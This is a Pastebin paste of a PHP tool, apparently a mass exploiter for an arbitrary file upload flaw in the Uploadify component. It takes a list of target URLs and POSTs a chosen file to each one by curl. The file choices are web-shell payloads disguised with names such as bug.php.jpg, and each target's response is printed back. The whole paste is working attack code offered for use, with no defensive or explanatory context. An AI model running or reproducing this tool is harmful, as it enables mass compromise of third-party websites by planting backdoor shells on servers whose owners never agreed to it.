Advertisement
tobitaz

arbitraryuploader

Jul 29th, 2013 (edited)
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.63 KB | None | 0 0
  1.                PHP UPLOADIFY
  2.  
  3.  
  4.  
  5. <html>
  6. <title>tobi</title>
  7. <body style="background-color:black;">
  8. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  9. <center><br />
  10. <select name="shell">
  11. <option value="/home3/jland/public_html/ih4b.net/bug.php.jpg">bug.php.jpg</option>
  12. <option value="/home3/jland/public_html/ih4b.net/bug.php">bug.php</option>
  13. <option value="/home3/jland/public_html/ih4b.net/bug.php.tff">bug.php.tff</option>
  14. <option value="/home3/jland/public_html/ih4b.net/no.txt">no.txt</option>
  15. </select>
  16. <font color="white">Parameter:</font><input name="utk"><br />
  17. <textarea name="test" cols="80" rows="25" style="border:3px outset #339900; color:green; background-color:black;"></textarea><br>
  18. <button type="submit" value="UPLOAD" style="border:3px outset red; width:50%; height:50px; color:white; background-color:red;">UPLOAD</button>
  19.  
  20. </form>
  21. </center>
  22. </body>
  23. </html>
  24. <?php
  25.  
  26.    $array = preg_split('/(\r?\n)+/', $_POST['test']);
  27.    foreach($array as $line)
  28.    {
  29. echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
  30. echo "url:".$line." <font style='color:red; background-color:white;'>";
  31.  
  32. $shell = $_POST["shell"];
  33. $utk = $_POST["utk"];
  34.     $ch = curl_init();
  35.  
  36. $data = array($utk => "@$shell");
  37.  
  38. curl_setopt($ch, CURLOPT_URL, $line);
  39.  
  40. curl_setopt($ch, CURLOPT_POST, 1);
  41.  
  42. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  43. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  44. $tetek = curl_exec($ch);
  45.  
  46. $buang = strip_tags("\n result:" . $tetek ."\n\n\n");
  47.  
  48. echo $buang;
  49.  
  50. echo "<br /></font></div></center>";
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.    }
  59.    
  60. ?>
  61.  
  62. </body>
  63. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement